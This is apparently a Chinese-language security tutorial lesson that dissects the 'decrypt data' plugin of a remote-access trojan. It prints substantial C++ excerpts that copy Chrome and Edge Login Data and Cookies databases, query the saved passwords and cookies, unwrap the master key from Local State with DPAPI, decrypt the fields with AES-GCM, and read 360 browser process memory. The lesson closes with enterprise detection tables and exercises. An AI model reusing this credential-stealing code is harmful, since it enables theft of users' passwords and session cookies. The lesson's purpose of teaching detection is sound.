第 43 课:主插件:解密数据
# 第 43 课:主插件:解密数据
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课围绕 主插件\解密数据 展开。这个模块围绕浏览器密码、Cookie、浏览器配置文件、SQLite 数据库、DPAPI、AES-GCM、进程内存读取展开。对企业和安全工程学习者来说,本课的核心是理解“凭据读取链路”长什么样,以及如何在文件、API、进程、网络四个层面发现它。

# 1. 新手先理解:它到底在读什么。
现代浏览器通常不会把明文密码直接放在文件里,而是把敏感数据存入 SQLite 数据库,再通过系统保护机制或浏览器密钥进行加密。源码中的思路是:定位用户浏览器目录,复制数据库,读取 Local State 中的加密主密钥,调用 DPAPI 解开主密钥,再解密数据库里的敏感字段。
这类行为在安全工程里属于高危数据访问。教程只解释防御识别点,不提供可用于窃取凭据的操作流程。

# 2. 源码目录和文件
| 位置 | 作用 | 阅读重点 |
|---|---|---|
主插件\解密数据\解密数据\解密数据.cpp | 插件入口 | 建立连接、创建 CDecryptManger |
主插件\解密数据\解密数据\DecryptManger.h/.cpp | 命令分发和结果格式化 | 浏览器类型命令、敏感字段发送 |
主插件\解密数据\解密数据\GetBrowserInfo.h/.cpp | Chrome/Edge/QQ/360 极速路径 | 浏览器目录、SQLite、Local State、DPAPI |
主插件\解密数据\解密数据\Get360seInfo.h/.cpp | 360 安全浏览器特殊路径 | SQLite 加密、进程内存读取随机因子 |
主插件\解密数据\解密数据\UnCode.h/.cpp | 解密辅助函数 | CryptUnprotectData、AES-GCM、哈希 |
主插件\解密数据\解密数据\include | 第三方库 | SQLite、OpenSSL、base64、cJSON |
依赖说明: 本课第三方库较多:SQLite 用于读取浏览器数据库,OpenSSL 用于 AES-GCM 等解密运算,base64 用于解析 Local State 里的编码字段,cJSON 用于读取 JSON 配置。Windows DPAPI 的 CryptUnprotectData 负责解开本机用户保护的数据。单独使用这些库可能合法,但它们和浏览器敏感文件、DPAPI、网络发送组合出现时,应按凭据读取链处理。
# 3. 关键结构和函数
| 函数 | 大致行号 | 角色 | 防御关注 |
|---|---|---|---|
CDecryptManger::OnReceive | DecryptManger.cpp 25-125 | 按命令读取不同浏览器数据 | 远程命令触发凭据访问 |
GetBrowserInfo::GetData | GetBrowserInfo.cpp 306-385 | 读取登录数据 | Login Data.tmp、SQLite 查询 |
GetBrowserInfo::GetCookies | GetBrowserInfo.cpp 142-215 | 读取 Cookie | Cookies.tmp、加密字段解密 |
GetBrowserInfo::GetMasterKey | GetBrowserInfo.cpp 441-465 | 解析 Local State 并调用 DPAPI | 非浏览器进程调用 DPAPI |
AesGcmDecrypt | UnCode.cpp 6-37 | AES-GCM 解密 | OpenSSL 解密敏感字段 |
Get360seInfo::EnumProcessGetRandstr | Get360seInfo.cpp 347-365 | 读取浏览器进程内存 | OpenProcess(PROCESS_VM_READ) |
# 4. 命令入口:远程命令如何触发凭据读取。
CDecryptManger::OnReceive 根据命令选择浏览器类型,并把结果发送回去。防御侧要关注“收到命令后访问浏览器敏感文件,再进行网络发送”的链条。
// 源码位置:主插件\解密数据\解密数据\DecryptManger.cpp,约25-125 void CDecryptManger::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_LLQ_GetChromePassWord:
{
int size = 0;
char* get = nullptr;
if (GetChromePassWord(&get, &size))
{
Send((LPBYTE)get, size);
DeleteMem(&get);
}
else
{
senderror();
}
}
break;
case COMMAND_LLQ_GetChromeCookies:
// 防御分析:Cookie 与密码同样属于高敏感数据 // 企业检测应把浏览器 Cookie 读取纳入凭据保护范围 break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 5. 浏览器目录和敏感文件
GetBrowserInfo 构造函数会根据浏览器类型拼接用户配置目录,重点文件包括 Login Data、Cookies、Local State?
// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约19-75 GetBrowserInfo::GetBrowserInfo(BroType brot) : m_brot(brot)
{
switch (m_brot)
{
case chrome:
m_BroDir = "\\Google\\Chrome\\";
m_BroName = "Chrome";
break;
case edge:
m_BroDir = "\\Microsoft\\Edge\\";
m_BroName = "Edge";
break;
}
m_loginDataPath = GetFullPathFromRelativeToBro("User Data\\default\\Login Data");
m_localStatePath = GetFullPathFromRelativeToBro("User Data\\Local State");
// 防御分析:非浏览器进程访Login Data、Cookies、Local State // 是凭据读取检测中的重要文件侧信号}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
企业文件侧检测建议:
| 文件 | 含义 | 检测点 |
|---|---|---|
Login Data | 登录凭据数据 | 非浏览器进程读取或复用 |
Cookies | Cookie 数据 | 非浏览器进程读取或复用 |
Local State | 浏览器配置和加密主密 | 非浏览器进程读取后调DPAPI |
*.tmp 临时副本 | 绕开数据库锁的常见方 | Login Data.tmp、Cookies.tmp |
# 6. SQLite 读取链路
源码会先复制数据库,再用 SQLite 打开临时副本。这类“复制再读”的模式很常见,因为浏览器运行时数据库可能被锁定。
// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约306-385 DWORD GetBrowserInfo::GetData(std::vector<BrowserData>* pBroData)
{
DATA_BLOB masterKey = {};
bool isVerNew80 = GetMasterKey(&masterKey);
LPCSTR loginDataTemporaryCopyPath = "Login Data.tmp";
remove(loginDataTemporaryCopyPath);
if (!CopyFileA(m_loginDataPath.c_str(), loginDataTemporaryCopyPath, TRUE)) {
m_errCode = BROWSER_COPY_LOGIN_DATA_FAILED;
return false;
}
sqlite3* connection;
sqlite3_open(loginDataTemporaryCopyPath, &connection);
LPCSTR query = "SELECT origin_url, username_value, password_value,date_created FROM logins";
sqlite3_prepare_v2(connection, query, -1, &result, 0);
// 防御分析:这里只作为源码识别。检测时重点关注非浏览器进程
// 复制 Login Data 并打开 SQLite 的组合行为}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Cookie 路径相似,但查询的是 cookies 表。
// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约142-215 DWORD GetBrowserInfo::GetCookies(std::vector<BrowserCookies>* pBroCookies)
{
DATA_BLOB masterKey = {};
bool isVerNew80 = GetMasterKey(&masterKey);
LPCSTR CookiesTemporaryCopyPath = "Cookies.tmp";
CopyFileA(m_chromeCookiespath.c_str(), CookiesTemporaryCopyPath, TRUE);
sqlite3_open(CookiesTemporaryCopyPath, &connection);
LPCSTR query =
"SELECT host_key, name, path, encrypted_value,expires_utc,has_expires,is_persistent FROM cookies";
// 防御分析:Cookie 可用于会话接管,敏感程度不低于密码
// 文件访问、SQLite 查询、网络外发需要一起看
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 7. DPAPI AES-GCM 解密。

Chrome/Edge 新版本常见路径是:Local State 中保存 os_crypt.encrypted_key,该值经 Base64 编码,解码后去掉 DPAPI 前缀,再调用 CryptUnprotectData。得到主密钥后,再用 AES-GCM 解数据库字段。
// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约441-465
bool GetBrowserInfo::GetMasterKey(DATA_BLOB* pDatab)
{
LPSTR encryptedKeyBase64;
LPCSTR errorStr = ParseEncryptedKey(&encryptedKeyBase64);
if (errorStr) {
return false;
}
size_t encryptedKeyLength = Base64decode_len(encryptedKeyBase64);
LPSTR encryptedKey = (LPSTR)malloc(encryptedKeyLength);
Base64decode(encryptedKey, encryptedKeyBase64);
// Removing "DPAPI" (5 symbols)
DATA_BLOB dataIn = { (DWORD)encryptedKeyLength - 5, (BYTE*)(encryptedKey + 5) };
if (!CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, pDatab)) {
return false;
}
// 防御分析:非浏览器进程读Local State 后调用 CryptUnprotectData // 是高价值检测组合}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 源码位置:主插件\解密数据\解密数据\UnCode.cpp,约6-37 BOOL AesGcmDecrypt(DATA_BLOB cipher, DATA_BLOB key, DATA_BLOB iv, PDATA_BLOB decrypted)
{
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
EVP_DecryptInit_ex(ctx, EVP_aes_256_gcm(), NULL, NULL, NULL);
EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, iv.cbData, NULL);
EVP_DecryptInit_ex(ctx, NULL, NULL, key.pbData, iv.pbData);
EVP_DecryptUpdate(ctx, decrypted->pbData, &bufLen, cipher.pbData, cipher.cbData);
EVP_CIPHER_CTX_free(ctx);
// 防御分析:OpenSSL AES-GCM 与浏览器凭据文件访问同时出现时,
// 应提高事件优先级}
2
3
4
5
6
7
8
9
10
11
12
13
# 8. 360 浏览器特殊路。
360 安全浏览器部分还出现了进程内存读取:枚举 360se.exe,打开进程,读取 chrome.dll 附近的数据。对企业检测来说,这比单纯读文件更危险,因为它跨过了进程边界。
// 源码位置:主插件\解密数据\解密数据\Get360seInfo.cpp,约294-365 bool Get360seInfo::EnumProcessGetRandstr()
{
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { sizeof(PROCESSENTRY32) };
while (Process32Next(hProcessSnap, &process)) {
if (_wcsicmp(process.szExeFile, _T("360se.exe")) == 0) {
HANDLE h_360se = OpenProcess(PROCESS_VM_READ, FALSE, process.th32ProcessID);
// 防御分析:非浏览器进程以 PROCESS_VM_READ 打开浏览器进程,
// 并随ReadProcessMemory,应作为凭据读取链的一部分 }
}
}
2
3
4
5
6
7
8
9
10
11
12
13

# 9. 企业检测点

| 层面 | 检测点 | 说明 |
|---|---|---|
| 文件 | 非浏览器进程访问 Login Data、Cookies、Local State | 最基础的凭据保护信 |
| 临时文件 | 当前目录出现 Login Data.tmp、Cookies.tmp | 常用于复制后读取 |
| API | CryptUnprotectData | 与浏览器文件访问关联后风险升 |
| 加密 | OpenSSL AES-GCM | 单独不恶意,结合凭据文件后高 |
| 进程 | OpenProcess(PROCESS_VM_READ) 指向浏览器进 | 需要重点关 |
| 网络 | 读取敏感字段后外 | 关注字段格式、会话目的地、时间窗 |
| 身份 | 进程用户与浏览器配置所属用户一 | DPAPI 解密常依赖同用户上下 |
# 10. 合法练习:
不运行模块,只根据源码画出
Local State -> DPAPI -> AES-GCM -> SQLite 字段的数据流?写一条检测思路:非浏览器进程在 2 分钟内读取
Local State、复制Login Data、调?CryptUnprotectData?说明为什Cookie 也应该被纳入凭据保护,而不是只保护密码?
在测试机上用合法样本构造文件访问日志,练习区分浏览器自身访问和第三方进程访问。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言